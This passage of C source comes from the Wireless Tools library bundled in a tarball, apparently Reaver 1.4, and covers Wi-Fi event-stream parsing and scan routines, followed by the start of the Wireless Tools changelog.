sizeof(struct iw_pmksa), }, }; static const unsigned int standard_ioctl_num = (sizeof(standard_ioctl_descr) / sizeof(struct iw_ioctl_description)); /* * Meta-data about all the additional standard Wireless Extension events * we know about. */ static const struct iw_ioctl_description standard_event_descr[] = { [IWEVTXDROP - IWEVFIRST] = { .header_type = IW_HEADER_TYPE_ADDR, }, [IWEVQUAL - IWEVFIRST] = { .header_type = IW_HEADER_TYPE_QUAL, }, [IWEVCUSTOM - IWEVFIRST] = { .header_type = IW_HEADER_TYPE_POINT, .token_size = 1, .max_tokens = IW_CUSTOM_MAX, }, [IWEVREGISTERED - IWEVFIRST] = { .header_type = IW_HEADER_TYPE_ADDR, }, [IWEVEXPIRED - IWEVFIRST] = { .header_type = IW_HEADER_TYPE_ADDR, }, [IWEVGENIE - IWEVFIRST] = { .header_type = IW_HEADER_TYPE_POINT, .token_size = 1, .max_tokens = IW_GENERIC_IE_MAX, }, [IWEVMICHAELMICFAILURE - IWEVFIRST] = { .header_type = IW_HEADER_TYPE_POINT, .token_size = 1, .max_tokens = sizeof(struct iw_michaelmicfailure), }, [IWEVASSOCREQIE - IWEVFIRST] = { .header_type = IW_HEADER_TYPE_POINT, .token_size = 1, .max_tokens = IW_GENERIC_IE_MAX, }, [IWEVASSOCRESPIE - IWEVFIRST] = { .header_type = IW_HEADER_TYPE_POINT, .token_size = 1, .max_tokens = IW_GENERIC_IE_MAX, }, [IWEVPMKIDCAND - IWEVFIRST] = { .header_type = IW_HEADER_TYPE_POINT, .token_size = 1, .max_tokens = sizeof(struct iw_pmkid_cand), }, }; static const unsigned int standard_event_num = (sizeof(standard_event_descr) / sizeof(struct iw_ioctl_description)); /* Size (in bytes) of various events */ static const int event_type_size[] = { IW_EV_LCP_PK_LEN, /* IW_HEADER_TYPE_NULL */ 0, IW_EV_CHAR_PK_LEN, /* IW_HEADER_TYPE_CHAR */ 0, IW_EV_UINT_PK_LEN, /* IW_HEADER_TYPE_UINT */ IW_EV_FREQ_PK_LEN, /* IW_HEADER_TYPE_FREQ */ IW_EV_ADDR_PK_LEN, /* IW_HEADER_TYPE_ADDR */ 0, IW_EV_POINT_PK_LEN, /* Without variable payload */ IW_EV_PARAM_PK_LEN, /* IW_HEADER_TYPE_PARAM */ IW_EV_QUAL_PK_LEN, /* IW_HEADER_TYPE_QUAL */ }; /*------------------------------------------------------------------*/ /* * Initialise the struct stream_descr so that we can extract * individual events from the event stream. */ void iw_init_event_stream(struct stream_descr * stream, /* Stream of events */ char * data, int len) { /* Cleanup */ memset((char *) stream, '\0', sizeof(struct stream_descr)); /* Set things up */ stream->current = data; stream->end = data + len; } /*------------------------------------------------------------------*/ /* * Extract the next event from the event stream. */ int iw_extract_event_stream(struct stream_descr * stream, /* Stream of events */ struct iw_event * iwe, /* Extracted event */ int we_version) { const struct iw_ioctl_description * descr = NULL; int event_type = 0; unsigned int event_len = 1; /* Invalid */ char * pointer; /* Don't "optimise" the following variable, it will crash */ unsigned cmd_index; /* *MUST* be unsigned */ /* Check for end of stream */ if((stream->current + IW_EV_LCP_PK_LEN) > stream->end) return(0); #ifdef DEBUG printf("DBG - stream->current = %p, stream->value = %p, stream->end = %p\n", stream->current, stream->value, stream->end); #endif /* Extract the event header (to get the event id). * Note : the event may be unaligned, therefore copy... */ memcpy((char *) iwe, stream->current, IW_EV_LCP_PK_LEN); #ifdef DEBUG printf("DBG - iwe->cmd = 0x%X, iwe->len = %d\n", iwe->cmd, iwe->len); #endif /* Check invalid events */ if(iwe->len <= IW_EV_LCP_PK_LEN) return(-1); /* Get the type and length of that event */ if(iwe->cmd <= SIOCIWLAST) { cmd_index = iwe->cmd - SIOCIWFIRST; if(cmd_index < standard_ioctl_num) descr = &(standard_ioctl_descr[cmd_index]); } else { cmd_index = iwe->cmd - IWEVFIRST; if(cmd_index < standard_event_num) descr = &(standard_event_descr[cmd_index]); } if(descr != NULL) event_type = descr->header_type; /* Unknown events -> event_type=0 => IW_EV_LCP_PK_LEN */ event_len = event_type_size[event_type]; /* Fixup for earlier version of WE */ if((we_version <= 18) && (event_type == IW_HEADER_TYPE_POINT)) event_len += IW_EV_POINT_OFF; /* Check if we know about this event */ if(event_len <= IW_EV_LCP_PK_LEN) { /* Skip to next event */ stream->current += iwe->len; return(2); } event_len -= IW_EV_LCP_PK_LEN; /* Set pointer on data */ if(stream->value != NULL) pointer = stream->value; /* Next value in event */ else pointer = stream->current + IW_EV_LCP_PK_LEN; /* First value in event */ #ifdef DEBUG printf("DBG - event_type = %d, event_len = %d, pointer = %p\n", event_type, event_len, pointer); #endif /* Copy the rest of the event (at least, fixed part) */ if((pointer + event_len) > stream->end) { /* Go to next event */ stream->current += iwe->len; return(-2); } /* Fixup for WE-19 and later : pointer no longer in the stream */ /* Beware of alignement. Dest has local alignement, not packed */ if((we_version > 18) && (event_type == IW_HEADER_TYPE_POINT)) memcpy((char *) iwe + IW_EV_LCP_LEN + IW_EV_POINT_OFF, pointer, event_len); else memcpy((char *) iwe + IW_EV_LCP_LEN, pointer, event_len); /* Skip event in the stream */ pointer += event_len; /* Special processing for iw_point events */ if(event_type == IW_HEADER_TYPE_POINT) { /* Check the length of the payload */ unsigned int extra_len = iwe->len - (event_len + IW_EV_LCP_PK_LEN); if(extra_len > 0) { /* Set pointer on variable part (warning : non aligned) */ iwe->u.data.pointer = pointer; /* Check that we have a descriptor for the command */ if(descr == NULL) /* Can't check payload -> unsafe... */ iwe->u.data.pointer = NULL; /* Discard paylod */ else { /* Those checks are actually pretty hard to trigger, * because of the checks done in the kernel... */ unsigned int token_len = iwe->u.data.length * descr->token_size; /* Ugly fixup for alignement issues. * If the kernel is 64 bits and userspace 32 bits, * we have an extra 4+4 bytes. * Fixing that in the kernel would break 64 bits userspace. */ if((token_len != extra_len) && (extra_len >= 4)) { __u16 alt_dlen = *((__u16 *) pointer); unsigned int alt_token_len = alt_dlen * descr->token_size; if((alt_token_len + 8) == extra_len) { #ifdef DEBUG printf("DBG - alt_token_len = %d\n", alt_token_len); #endif /* Ok, let's redo everything */ pointer -= event_len; pointer += 4; /* Dest has local alignement, not packed */ memcpy((char *) iwe + IW_EV_LCP_LEN + IW_EV_POINT_OFF, pointer, event_len); pointer += event_len + 4; iwe->u.data.pointer = pointer; token_len = alt_token_len; } } /* Discard bogus events which advertise more tokens than * what they carry... */ if(token_len > extra_len) iwe->u.data.pointer = NULL; /* Discard paylod */ /* Check that the advertised token size is not going to * produce buffer overflow to our caller... */ if((iwe->u.data.length > descr->max_tokens) && !(descr->flags & IW_DESCR_FLAG_NOMAX)) iwe->u.data.pointer = NULL; /* Discard paylod */ /* Same for underflows... */ if(iwe->u.data.length < descr->min_tokens) iwe->u.data.pointer = NULL; /* Discard paylod */ #ifdef DEBUG printf("DBG - extra_len = %d, token_len = %d, token = %d, max = %d, min = %d\n", extra_len, token_len, iwe->u.data.length, descr->max_tokens, descr->min_tokens); #endif } } else /* No data */ iwe->u.data.pointer = NULL; /* Go to next event */ stream->current += iwe->len; } else { /* Ugly fixup for alignement issues. * If the kernel is 64 bits and userspace 32 bits, * we have an extra 4 bytes. * Fixing that in the kernel would break 64 bits userspace. */ if((stream->value == NULL) && ((((iwe->len - IW_EV_LCP_PK_LEN) % event_len) == 4) || ((iwe->len == 12) && ((event_type == IW_HEADER_TYPE_UINT) || (event_type == IW_HEADER_TYPE_QUAL))) )) { #ifdef DEBUG printf("DBG - alt iwe->len = %d\n", iwe->len - 4); #endif pointer -= event_len; pointer += 4; /* Beware of alignement. Dest has local alignement, not packed */ memcpy((char *) iwe + IW_EV_LCP_LEN, pointer, event_len); pointer += event_len; } /* Is there more value in the event ? */ if((pointer + event_len) <= (stream->current + iwe->len)) /* Go to next value */ stream->value = pointer; else { /* Go to next event */ stream->value = NULL; stream->current += iwe->len; } } return(1); } /*********************** SCANNING SUBROUTINES ***********************/ /* * The Wireless Extension API 14 and greater define Wireless Scanning. * The normal API is complex, this is an easy API that return * a subset of the scanning results. This should be enough for most * applications that want to use Scanning. * If you want to have use the full/normal API, check iwlist.c... * * Precaution when using scanning : * The scanning operation disable normal network traffic, and therefore * you should not abuse of scan. * The scan need to check the presence of network on other frequencies. * While you are checking those other frequencies, you can *NOT* be on * your normal frequency to listen to normal traffic in the cell. * You need typically in the order of one second to actively probe all * 802.11b channels (do the maths). Some cards may do that in background, * to reply to scan commands faster, but they still have to do it. * Leaving the cell for such an extended period of time is pretty bad. * Any kind of streaming/low latency traffic will be impacted, and the * user will perceive it (easily checked with telnet). People trying to * send traffic to you will retry packets and waste bandwidth. Some * applications may be sensitive to those packet losses in weird ways, * and tracing those weird behavior back to scanning may take time. * If you are in ad-hoc mode, if two nodes scan approx at the same * time, they won't see each other, which may create associations issues. * For those reasons, the scanning activity should be limited to * what's really needed, and continuous scanning is a bad idea. * Jean II */ /*------------------------------------------------------------------*/ /* * Process/store one element from the scanning results in wireless_scan */ static inline struct wireless_scan * iw_process_scanning_token(struct iw_event * event, struct wireless_scan * wscan) { struct wireless_scan * oldwscan; /* Now, let's decode the event */ switch(event->cmd) { case SIOCGIWAP: /* New cell description. Allocate new cell descriptor, zero it. */ oldwscan = wscan; wscan = (struct wireless_scan *) malloc(sizeof(struct wireless_scan)); if(wscan == NULL) return(wscan); /* Link at the end of the list */ if(oldwscan != NULL) oldwscan->next = wscan; /* Reset it */ bzero(wscan, sizeof(struct wireless_scan)); /* Save cell identifier */ wscan->has_ap_addr = 1; memcpy(&(wscan->ap_addr), &(event->u.ap_addr), sizeof (sockaddr)); break; case SIOCGIWNWID: wscan->b.has_nwid = 1; memcpy(&(wscan->b.nwid), &(event->u.nwid), sizeof(iwparam)); break; case SIOCGIWFREQ: wscan->b.has_freq = 1; wscan->b.freq = iw_freq2float(&(event->u.freq)); wscan->b.freq_flags = event->u.freq.flags; break; case SIOCGIWMODE: wscan->b.mode = event->u.mode; if((wscan->b.mode < IW_NUM_OPER_MODE) && (wscan->b.mode >= 0)) wscan->b.has_mode = 1; break; case SIOCGIWESSID: wscan->b.has_essid = 1; wscan->b.essid_on = event->u.data.flags; memset(wscan->b.essid, '\0', IW_ESSID_MAX_SIZE+1); if((event->u.essid.pointer) && (event->u.essid.length)) memcpy(wscan->b.essid, event->u.essid.pointer, event->u.essid.length); break; case SIOCGIWENCODE: wscan->b.has_key = 1; wscan->b.key_size = event->u.data.length; wscan->b.key_flags = event->u.data.flags; if(event->u.data.pointer) memcpy(wscan->b.key, event->u.essid.pointer, event->u.data.length); else wscan->b.key_flags |= IW_ENCODE_NOKEY; break; case IWEVQUAL: /* We don't get complete stats, only qual */ wscan->has_stats = 1; memcpy(&wscan->stats.qual, &event->u.qual, sizeof(struct iw_quality)); break; case SIOCGIWRATE: /* Scan may return a list of bitrates. As we have space for only * a single bitrate, we only keep the largest one. */ if((!wscan->has_maxbitrate) || (event->u.bitrate.value > wscan->maxbitrate.value)) { wscan->has_maxbitrate = 1; memcpy(&(wscan->maxbitrate), &(event->u.bitrate), sizeof(iwparam)); } case IWEVCUSTOM: /* How can we deal with those sanely ? Jean II */ default: break; } /* switch(event->cmd) */ return(wscan); } /*------------------------------------------------------------------*/ /* * Initiate the scan procedure, and process results. * This is a non-blocking procedure and it will return each time * it would block, returning the amount of time the caller should wait * before calling again. * Return -1 for error, delay to wait for (in ms), or 0 for success. * Error code is in errno */ int iw_process_scan(int skfd, char * ifname, int we_version, wireless_scan_head * context) { struct iwreq wrq; unsigned char * buffer = NULL; /* Results */ int buflen = IW_SCAN_MAX_DATA; /* Min for compat WE<17 */ unsigned char * newbuf; /* Don't waste too much time on interfaces (150 * 100 = 15s) */ context->retry++; if(context->retry > 150) { errno = ETIME; return(-1); } /* If we have not yet initiated scanning on the interface */ if(context->retry == 1) { /* Initiate Scan */ wrq.u.data.pointer = NULL; /* Later */ wrq.u.data.flags = 0; wrq.u.data.length = 0; /* Remember that as non-root, we will get an EPERM here */ if((iw_set_ext(skfd, ifname, SIOCSIWSCAN, &wrq) < 0) && (errno != EPERM)) return(-1); /* Success : now, just wait for event or results */ return(250); /* Wait 250 ms */ } realloc: /* (Re)allocate the buffer - realloc(NULL, len) == malloc(len) */ newbuf = realloc(buffer, buflen); if(newbuf == NULL) { /* man says : If realloc() fails the original block is left untouched */ if(buffer) free(buffer); errno = ENOMEM; return(-1); } buffer = newbuf; /* Try to read the results */ wrq.u.data.pointer = buffer; wrq.u.data.flags = 0; wrq.u.data.length = buflen; if(iw_get_ext(skfd, ifname, SIOCGIWSCAN, &wrq) < 0) { /* Check if buffer was too small (WE-17 only) */ if((errno == E2BIG) && (we_version > 16)) { /* Some driver may return very large scan results, either * because there are many cells, or because they have many * large elements in cells (like IWEVCUSTOM). Most will * only need the regular sized buffer. We now use a dynamic * allocation of the buffer to satisfy everybody. Of course, * as we don't know in advance the size of the array, we try * various increasing sizes. Jean II */ /* Check if the driver gave us any hints. */ if(wrq.u.data.length > buflen) buflen = wrq.u.data.length; else buflen *= 2; /* Try again */ goto realloc; } /* Check if results not available yet */ if(errno == EAGAIN) { free(buffer); /* Wait for only 100ms from now on */ return(100); /* Wait 100 ms */ } free(buffer); /* Bad error, please don't come back... */ return(-1); } /* We have the results, process them */ if(wrq.u.data.length) { struct iw_event iwe; struct stream_descr stream; struct wireless_scan * wscan = NULL; int ret; #ifdef DEBUG /* Debugging code. In theory useless, because it's debugged ;-) */ int i; printf("Scan result [%02X", buffer[0]); for(i = 1; i < wrq.u.data.length; i++) printf(":%02X", buffer[i]); printf("]\n"); #endif /* Init */ iw_init_event_stream(&stream, (char *) buffer, wrq.u.data.length); /* This is dangerous, we may leak user data... */ context->result = NULL; /* Look every token */ do { /* Extract an event and print it */ ret = iw_extract_event_stream(&stream, &iwe, we_version); if(ret > 0) { /* Convert to wireless_scan struct */ wscan = iw_process_scanning_token(&iwe, wscan); /* Check problems */ if(wscan == NULL) { free(buffer); errno = ENOMEM; return(-1); } /* Save head of list */ if(context->result == NULL) context->result = wscan; } } while(ret > 0); } /* Done with this interface - return success */ free(buffer); return(0); } /*------------------------------------------------------------------*/ /* * Perform a wireless scan on the specified interface. * This is a blocking procedure and it will when the scan is completed * or when an error occur. * * The scan results are given in a linked list of wireless_scan objects. * The caller *must* free the result himself (by walking the list). * If there is an error, -1 is returned and the error code is available * in errno. * * The parameter we_version can be extracted from the range structure * (range.we_version_compiled - see iw_get_range_info()), or using * iw_get_kernel_we_version(). For performance reason, you should * cache this parameter when possible rather than querying it every time. * * Return -1 for error and 0 for success. */ int iw_scan(int skfd, char * ifname, int we_version, wireless_scan_head * context) { int delay; /* in ms */ /* Clean up context. Potential memory leak if(context.result != NULL) */ context->result = NULL; context->retry = 0; /* Wait until we get results or error */ while(1) { /* Try to get scan results */ delay = iw_process_scan(skfd, ifname, we_version, context); /* Check termination */ if(delay <= 0) break; /* Wait a bit */ usleep(delay * 1000); } /* End - return -1 or 0 */ return(delay); } reaver-1.4/src/lwe/CHANGELOG.h0000755000175000017500000010434211705505257015230 0ustar reaverreaver/* * Wireless Tools * * Jean II - HPLB 97->99 - HPL 99->07 * * The changelog... * * This files is released under the GPL license. * Copyright (c) 1997-2002 Jean Tourrilhes */ /* --------------------------- HISTORY --------------------------- */ /* * wireless 16 : (Jean Tourrilhes) * ----------- * o iwconfig, iwpriv & iwspy * * wireless 17 : (Justin Seger) * ----------- * o Compile under glibc fix * o merge iwpriv in iwconfig * o Add Wavelan roaming support * o Update man page of iwconfig * * wireless 18 : * ----------- * (From Andreas Neuhaus ) * o Many fix to remove "core dumps" in iwconfig * o Remove useless headers in iwconfig * o CHAR wide private ioctl * (From Jean Tourrilhes) * o Create iwcommon.h and iwcommon.c * o Separate iwpriv again for user interface issues * The folllowing didn't make sense and crashed : * iwconfig eth0 priv sethisto 12 15 nwid 100 * o iwspy no longer depend on net-tools-1.2.0 * o Reorganisation of the code, cleanup * o Add ESSID stuff in iwconfig * o Add display of level & noise in dBm (stats in iwconfig) * o Update man page of iwconfig and iwpriv * o Add xwireless (didn't check if it compiles) * (From Dean W. Gehnert ) * o Minor fixes * (Jan Rafaj ) * o Cosmetic changes (sensitivity relative, freq list) * o Frequency computation on double * o Compile clean on libc5 * (From Jean Tourrilhes) * o Move listing of frequencies to iwspy * o Add AP address stuff in iwconfig * o Add AP list stuff in iwspy * * wireless 19 : * ----------- * (From Jean Tourrilhes) * o Allow for sensitivity in dBm (if < 0) [iwconfig] * o Formatting changes in displaying ap address in [iwconfig] * o Slightly improved man pages and usage display * o Add channel number for each frequency in list [iwspy] * o Add nickname... [iwconfig] * o Add "port" private ioctl shortcut [iwpriv] * o If signal level = 0, no range or dBms [iwconfig] * o I think I now got set/get char strings right in [iwpriv] * (From Thomas Ekstrom ) * o Fix a very obscure bug in [iwspy] * * wireless 20 : * ----------- * (From Jean Tourrilhes) * o Remove all #ifdef WIRELESS ugliness, but add a #error : * we require Wireless Extensions 9 or nothing ! [all] * o Switch to new 'nwid' definition (specific -> iw_param) [iwconfig] * o Rewriten totally the encryption support [iwconfig] * - Multiple keys, through key index * - Flexible/multiple key size, and remove 64bits upper limit * - Open/Restricted modes * - Enter keys as ASCII strings * o List key sizes supported and all keys in [iwspy] * o Mode of operation support (ad-hoc, managed...) [iwconfig] * o Use '=' to indicate fixed instead of ugly '(f)' [iwconfig] * o Ability to disable RTS & frag (off), now the right way [iwconfig] * o Auto as an input modifier for bitrate [iwconfig] * o Power Management support [iwconfig] * - set timeout or period and its value * - Reception mode (unicast/multicast/all) * o Updated man pages with all that ;-) * * wireless 21 : * ----------- * (from Alan McReynolds ) * o Use proper macros for compilation directives [Makefile] * (From Jean Tourrilhes) * o Put licensing info everywhere (almost). Yes, it's GPL ! * o Document the use of /etc/pcmcia/wireless.opts [PCMCIA] * o Add min/max modifiers to power management parameters [iwconfig] * -> requested by Lee Keyser-Allen for the Spectrum24 driver * o Optionally output a second power management parameter [iwconfig] * --- * o Common subroutines to display stats & power saving info [iwcommon] * o Display all power management info, capability and values [iwspy] * --- * o Optional index for ESSID (for Aironet driver) [iwcommon] * o IW_ENCODE_NOKEY for write only keys [iwconfig/iwspy] * o Common subrouting to print encoding keys [iwspy] * --- * o Transmit Power stuff (dBm + mW) [iwconfig/iwspy] * o Cleaner formatting algorithm when displaying params [iwconfig] * --- * o Fix get_range_info() and use it everywhere - Should fix core dumps. * o Catch WE version differences between tools and driver and * warn user. Thanks to Tobias Ringstrom for the tip... [iwcommon] * o Add Retry limit and lifetime support. [iwconfig/iwlist] * o Display "Cell:" instead of "Access Point:" in ad-hoc mode [iwconfig] * o Header fix for glibc2.2 by Ross G. Miller * o Move header selection flags in Makefile [iwcommon/Makefile] * o Spin-off iwlist.c from iwspy.c. iwspy is now much smaller * After moving this bit of code all over the place, from iwpriv * to iwconfig to iwspy, it now has a home of its own... [iwspy/iwlist] * o Wrote quick'n'dirty iwgetid. * o Remove output of second power management parameter [iwconfig] * Please use iwlist, I don't want to bloat iwconfig * --- * o Fix bug in display ints - "Allen Miu" [iwpriv] * * wireless 22 : * ----------- * (From Jim Kaba ) * o Fix socket_open to not open all types of sockets [iwcommon] * (From Michael Tokarev ) * o Rewrite main (top level) + command line parsing of [iwlist] * (From Jean Tourrilhes) * o Set commands should return proper success flag [iwspy/iwpriv] * requested by Michael Tokarev * --- * (From Torgeir Hansen ) * o Replace "strcpy(wrq.ifr_name," with strncpy to avoid buffer * overflows. This is OK because the kernel use strncmp... * --- * o Move operation_mode in iwcommon and add NUM_OPER_MODE [iwconfig] * o print_stats, print_key, ... use char * instead if FILE * [iwcommon] * o Add `iw_' prefix to avoid namespace pollution [iwcommon] * o Add iw_get_basic_config() and iw_set_basic_config() [iwcommon] * o Move iw_getstats from iwconfig to iwcommon [iwcommon] * o Move changelog to CHANGELOG.h [iwcommon] * o Rename iwcommon.* into iwlib.* [iwcommon->iwlib] * o Compile iwlib. as a dynamic or static library [Makefile] * o Allow the tools to be compiled with the dynamic library [Makefile] * --- Update to Wireless Extension 12 --- * o Show typical/average quality in iwspy [iwspy] * o Get Wireless Stats through ioctl instead of /proc [iwlib] * * wireless 23 : * ----------- * o Split iw_check_addr_type() into two functions mac/if [iwlib] * o iw_in_addr() does appropriate iw_check_xxx itself [iwlib] * o Allow iwspy on MAC address even if IP doesn't check [iwspy] * o Allow iwconfig ap on MAC address even if IP doesn't check [iwconfig] * --- * o Fix iwlist man page about extra commands [iwlist] * --- * o Fix Makefile rules for library compile (more generic) [Makefile] * --- * o Set max length for all GET request with a iw_point [various] * o Fix set IW_PRIV_TYPE_BYTE to be endian/align clean [iwpriv] * --- * (From Kernel Jake ) * o Add '/' at the end of directories to create them [Makefile] * (From Pavel Roskin ) * o Replace "cp" with "install" to get permissions proper [Makefile] * o Install Man-Pages at the proper location [Makefile] * o Add automatic header selection based on libc/kernel [iwlib.h] * --- * o Add "commit" to force parameters on the card [iwconfig] * o Wrap ioctl() in iw_set/get_ext() wrappers [all] * o Beautify set request error messages [iwconfig] * * wireless 24 : * ----------- * o Added common function to display frequency [iwlib] * o Added handler to parse Wireless Events [iwlib] * o Added tool to display Wireless Events [iwevent] * o Pass command line to subroutines [iwlist] * o Scanning support through SIOCSIWSCAN [iwlist] * --- * o Added common function to display bitrate [iwlib] * o Add bitrate/encoding scanning support [iwlist] * o Allow to read scan results for non-root users [iwlist] * o Set 5s timeout on waiting for scan results [iwlist] * o Cleanup iwgetid & support ap+scheme display [iwgetid] * o iwevent man page [iwevent] * (From Guus Sliepen ) * o iwgetid man page [iwgetid] * --- * o Add "#define WIRELESS_EXT > 13" around event code [iwlib] * o Move iw_enum_devices() from iwlist.c to iwlib.c [iwlib] * o Use iw_enum_devices() everywhere [iwconfig/iwspy/iwpriv] * (From Pavel Roskin , rewrite by me) * o Return proper error message on non existent interfaces [iwconfig] * o Read interface list in /proc/net/wireless and not SIOCGIFCONF [iwlib] * --- * (From Pavel Roskin - again !!!) * o Don't loose flags when setting encryption key [iwconfig] * o Add [iwevent] * --- * (From Casey Carter ) * o Improved compilations directives, stricter warnings [Makefile] * o Fix strict warnings (static func, unused args...) [various] * o New routines to display/input Ethernet MAC addresses [iwlib] * o Correct my english & spelling [various] * o Get macaddr to compile [macaddr] * o Fix range checking in max number of args [iwlist] * --- * o Display time when we receive event [iwevent] * --- * o Display time before event, easier to read [iwevent] * (From "Dr. Michael Rietz" ) * o Use a generic set of header, may end header mess [iwlib] * (From Casey Carter ) * o Zillions cleanups, small fixes and code reorg [all over] * o Proper usage/help printout [iwevent, iwgetid, ...] * --- * o Send broadcast address for iwconfig ethX ap auto/any [iwconfig] * --- * o Send NULL address for iwconfig ethX ap off [iwconfig] * o Add iw_in_key() helper (and use it) [iwlib] * o Create symbolink link libiw.so to libiw.so.XX [Makefile] * (From Javier Achirica ) * o Always send TxPower flags to the driver [iwconfig] * (From John M. Choi ) * o Header definition for Slackware (kernel 2.2/glibc 2.2) [iwlib] * * wireless 25 : * ----------- * o Remove library symbolic link before creating it [Makefile] * o Display error and exit if WE < 14 [iwevent] * (From Sander Jonkers ) * o Fix iwconfig usage display to show "enc off" [iwconfig] * (From Pavel Roskin ) * o Formating : add spaces after cell/ap addr [iwconfig] * --- * o Do driver WE source version verification [iwlib] * (From Pavel Roskin ) * o Cleanup user configurable options [Makefile] * o add FORCE_WEXT_VERSION [Makefile] * o Add uninstall directived [Makefile] * o Cleanup version warnings [iwlib] * o Fix iwconfig usage display to show "mode MODE" [iwconfig] * o Replace "rm -f + ln -s" with "ln -sfn" in install [Makefile] * --- * o Add various documentation in source code of [iwpriv] * o Allow to get more than 16 private ioctl description [iwlib] * o Ignore ioctl descriptions with null name [iwpriv] * o Implement sub-ioctls (simple/iw_point) [iwpriv] * --- * o Add DISTRIBUTIONS file with call for help [README] * o Change iw_byte_size in iw_get_priv_size [iwlib] * o Document various bugs of new driver API with priv ioctls [iwpriv] * o Implement float/addr priv data types [iwpriv] * o Fix off-by-one bug (priv_size <= IFNAMSIZ) [iwpriv] * o Reformat/beautify ioctl list display [iwpriv] * o Add "-a" command line to dump all read-only priv ioctls [iwpriv] * o Add a sample showing new priv features [sample_priv_addr.c] * o Update other samples with new driver API [sample_enc.c/sample_pm.c] * --- * o Fix "iwpriv -a" to not call ioctls not returning anything [iwpriv] * o Use IW_MAX_GET_SPY in increase number of addresses read [iwspy] * o Finish fixing the mess of off-by-one on IW_ESSID_MAX_SIZE [iwconfig] * o Do interface enumeration using /proc/net/dev [iwlib] * --- * o Display various --version information [iwlib, iwconfig, iwlist] * o Filled in Debian 2.3 & Red-Hat 7.3 sections in [DISTRIBUTIONS] * o Filled in Red-Hat 7.2, Mandrake 8.2 and SuSE 8.0 in [DISTRIBUTIONS] * o Display current freq/channel after the iwrange list [iwlist] * o Display current rate after the iwrange list [iwlist] * o Display current txpower after the iwrange list [iwlist] * o Add BUILD_NOLIBM to build without libm [Makefile] * o Fix infinite loop on unknown events/scan elements [iwlib] * o Add IWEVCUSTOM support [iwevent, iwlist] * o Add IWEVREGISTERED & IWEVEXPIRED support [iwevent] * (From Pavel Roskin ) * o Make $(DYNAMIC_LINK) relative (and not absolute) [Makefile] * --- * o Replace all float occurence with double [iwlib, iwlist] * o Implement iwgetid --mode [iwgetid] * o Convert frequency to channel [iwlist, iwlib] * (Suggested by Pavel Roskin - always him !) * o Implement --version across the board [iwspy, iwevent, iwpriv] * o Implement iwgetid --freq [iwgetid] * o Display "Access Point/Cell" [iwgetid] * --- * o New manpage about configuration (placeholder) [wireless.7] * o Catch properly invalid arg to "iwconfig ethX key" [iwconfig] * o Put placeholder for Passphrase to key conversion [iwlib] * o Allow args of "iwconfig ethX key" in any order [iwconfig] * o Implement token index for private commands [iwpriv] * o Add IW_MODE_MONITOR for passive monitoring [iwlib] * I wonder why nobody bothered to ask for it before ;-) * o Mention distribution specific document in [PCMCIA] * o Create directories before installing stuff in it [Makefile] * --- * o Add Debian 3.0 and PCMCIA in [wireless.7] * o Add iw_protocol_compare() in [iwlib] * --- * o Complain about version mistmatch at runtime only once [iwlib] * o Fix IWNAME null termination [iwconfig, iwlib] * o "iwgetid -p" to display protocol name and check WE support [iwgetid] * * wireless 26 : * ----------- * o #define IFLA_WIRELESS if needed [iwlib] * o Update man page with SuSE intruction (see below) [wireless.7] * (From Alexander Pevzner ) * o Allow to display all 8 bit rates instead of 7 [iwlist] * o Fix retry lifetime to not set IW_RETRY_LIMIT flag [iwconfig] * (From Christian Zoz ) * o Update SuSE configuration instructions [DISTRIBUTIONS] * --- * o Update man page with regards to /proc/net/wireless [iwconfig.8] * o Add NOLIBM version of iw_dbm2mwatt()/iw_mwatt2dbm() [iwlib] * --- * o Fix "iwconfig ethX enc on" on WE-15 : set buffer size [iwconfig] * o Display /proc/net/wireless before "typical data" [iwspy] * (From Pavel Roskin ) * o Fix uninstall [Makefile] * o Change "Encryption mode" to "Security mode" [iwconfig/iwlist] * --- * o Add kernel headers that will be removed from wireless.h [iwlib] * o Remove IW_MAX_GET_SPY, people should use AP-List [iwspy] * o Re-word List of "Access Points" to "Peers/Access-Points" [iwlist] * o Add support for SIOCGIWTHRSPY event [iwevent/iwlib] * o Add support for SIOCSIWTHRSPY/SIOCGIWTHRSPY ioctls [iwspy] * --- * o Add SIOCGIWNAME/Protocol event display [iwlist scan/iwevent] * o Add temporary encoding flag setting [iwconfig] * o Add login encoding setting [iwlib/iwconfig] * --- * o Fix corruption of encryption key setting when followed by another * setting starting with a valid hex char ('essid' -> 'E') [iwlib] * o Fix iw_in_key() so that it parses every char and not bundle of * two so that 'enc' is not the valid key '0E0C' [iwlib] * o Fix parsing of odd keys '123' is '0123' instead of '1203' [iwlib] * --- * o Implement WE version tool redirector (need WE-16) [iwredir] * o Add "make vinstall" to use redirector [Makefile] * o Fix compilation warning in WE < 16 [iwlib, iwspy] * o Allow to specify PREFIX on make command line [Makefile] * --- * o Update wireless.h (more frequencies) [wireless.h] * o Allow to escape ESSID="any" using "essid - any" [iwconfig] * o Updated Red-Hat 9 wireless config instructions [DISTRIBUTIONS] * (From Pavel Roskin ) * o Replace all %d into %i so we can input hex/oct [iwlib, iwpriv] * --- * o If >= WE-16, display kernel version in "iwconfig --version" [iwlib] * (From Antonio Vilei ) * o Fix "wrq.u.bitrate.value = power;" => txpower [iwconfig] * (From Casey Carter ) * o Make iwlib.h header C++ friendly. [iwlib] * --- * (From Pavel Roskin ) * o Make sure that KERNEL_SRC point to a valid directory [Makefile] * o Print message if card support WE but has no version info [iwlib] * (From Simon Kelley ) * o If power has no mode, don't print garbage [iwlib] * --- * (Bug reported by Guus Sliepen ) * o Don't cast "int power" to unsigned long in sscanf [iwconfig] * (From Pavel Roskin ) * o Add $(LDFLAGS) for final linking [Makefile] * * wireless 27 : * ----------- * o Add 'sed' magic to automatically get WT/WE versions [Makefile] * o Change soname of iwlib to libiwWE.so.WT [Makefile] * Now dynamicaly linked versioned install can work * o Default to dynamic build, don't build static lib [Makefile] * o Update installation instructions [INSTALL] * o fflush(stdout), so that redirect to file/pipe works [iwevent] * (From Pavel Roskin ) * o Display properly interface name larger than 8 char [all] * --- * o Implement auto/fixed frequencies [iwconfig] * (From Pavel Roskin ) * o Don't fail is ldconfig fails [Makefile] * --- * o Fix one forgotten strcpy(ifname) -> strncpy change [iwconfig] * o Fix all dangerous sprintf, replace with snprintf [iwlib] * o Change iw_print_xxx() API to take buffer length [iwlib] * --- * o "iwspy ethX +" did not work, fix wrq.u.data.length [iwspy] * o Fix stupid bug in displaying link/ap/cell stats [iwspy] * o Fix display of fixed length char private args [iwpriv] * o Add raw output for shell scripts, options -r [iwgetid] * o Tweak scheme output for freq and mode [iwgetid] * (From Andreas Mohr) * o Spelling fixes in README and man page * --- * o Add definitions for older version of W-Ext [iwlib] * o Always force compile with 